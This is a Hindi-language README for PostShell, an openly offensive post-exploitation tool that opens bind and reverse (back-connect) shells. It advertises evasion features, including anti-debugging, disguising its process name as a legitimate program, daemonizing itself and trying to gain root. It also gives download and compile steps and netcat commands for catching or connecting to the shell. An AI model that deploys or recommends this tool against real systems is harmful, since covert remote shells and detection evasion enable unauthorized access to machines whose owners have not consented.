PostShell

PostShell एक पोस्ट-एक्सप्लॉइटेशन शेल है जिसमें बाइंड और बैक कनेक्ट दोनों प्रकार के शेल शामिल हैं। यह एक पूरी तरह से इंटरैक्टिव TTY बनाता है जो जॉब कंट्रोल की अनुमति देता है। स्टब का आकार लगभग 14kb होता है और इसे किसी भी यूनिक्स जैसी प्रणाली पर कंपाइल किया जा सकता है।

स्क्रीनशॉट्स

कनेक्शन शुरू होने के बाद बैनर और शेल के साथ इंटरैक्शन।

पारंपरिक बैककनेक्ट/बाइंड शेल का उपयोग क्यों न करें?

PostShell पायथन और पर्ल जैसी निर्भरताओं पर हमलावर की निर्भरता कम करके आसान पोस्ट-एक्सप्लॉइटेशन की अनुमति देता है। यह बैक कनेक्ट और बाइंड शेल दोनों को शामिल करता है, जिसका अर्थ है कि यदि लक्ष्य आउटगोइंग कनेक्शन की अनुमति नहीं देता है, तो एक ऑपरेटर आसानी से बाइंड शेल शुरू कर सकता है और मशीन से दूरस्थ रूप से कनेक्ट कर सकता है। PostShell पारंपरिक शेल की तुलना में काफी कम संदेहास्पद है क्योंकि प्रक्रियाओं और तर्कों दोनों के नाम छिपाए जाते हैं।

विशेषताएँ

• एंटी-डिबगिंग, अगर ptrace शेल से जुड़ा पाया जाता है तो यह बाहर निकल जाएगा।
• प्रक्रिया नाम/थ्रेड नाम छिपाए जाते हैं, एक नकली नाम सभी सिस्टम तर्कों और फ़ाइल नाम को ओवरराइट करता है ताकि यह एक वैध प्रोग्राम जैसा दिखे
• TTY, एक TTY बनाया जाता है जो मूल रूप से मशीन के उसी उपयोग की अनुमति देता है जैसे कि आप SSH के माध्यम से जुड़े हों।
• बाइंड/बैककनेक्ट शेल, बाइंड शेल और बैक कनेक्ट दोनों बनाए जा सकते हैं।
• छोटा स्टब आकार, आमतौर पर बहुत छोटा स्टब (<14kb) उत्पन्न होता है।
• स्वचालित रूप से डेमॉन बन जाता है
• GUID/UID को 0 (रूट) पर सेट करने का प्रयास करता है

आरंभ करना

1. डाउनलोड करना: git clone https://github.com/rek7/postshell
2. कंपाइल करना: cd postshell && sh compile.sh इससे "stub" नामक एक बाइनरी बननी चाहिए - यह मैलवेयर है।

कमांड्स

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

उपयोग उदाहरण

बैककनेक्ट:

$ ./stub 127.0.0.1 13377

बाइंड शेल:

$ ./stub 13377

Netcat के साथ कनेक्शन प्राप्त करना

बैककनेक्ट प्राप्त करना:

$ nc -vlp port

बाइंड शेल से कनेक्ट करना:

$ nc host port

TODO:

• डोमेन रिज़ॉल्यूशन जोड़ें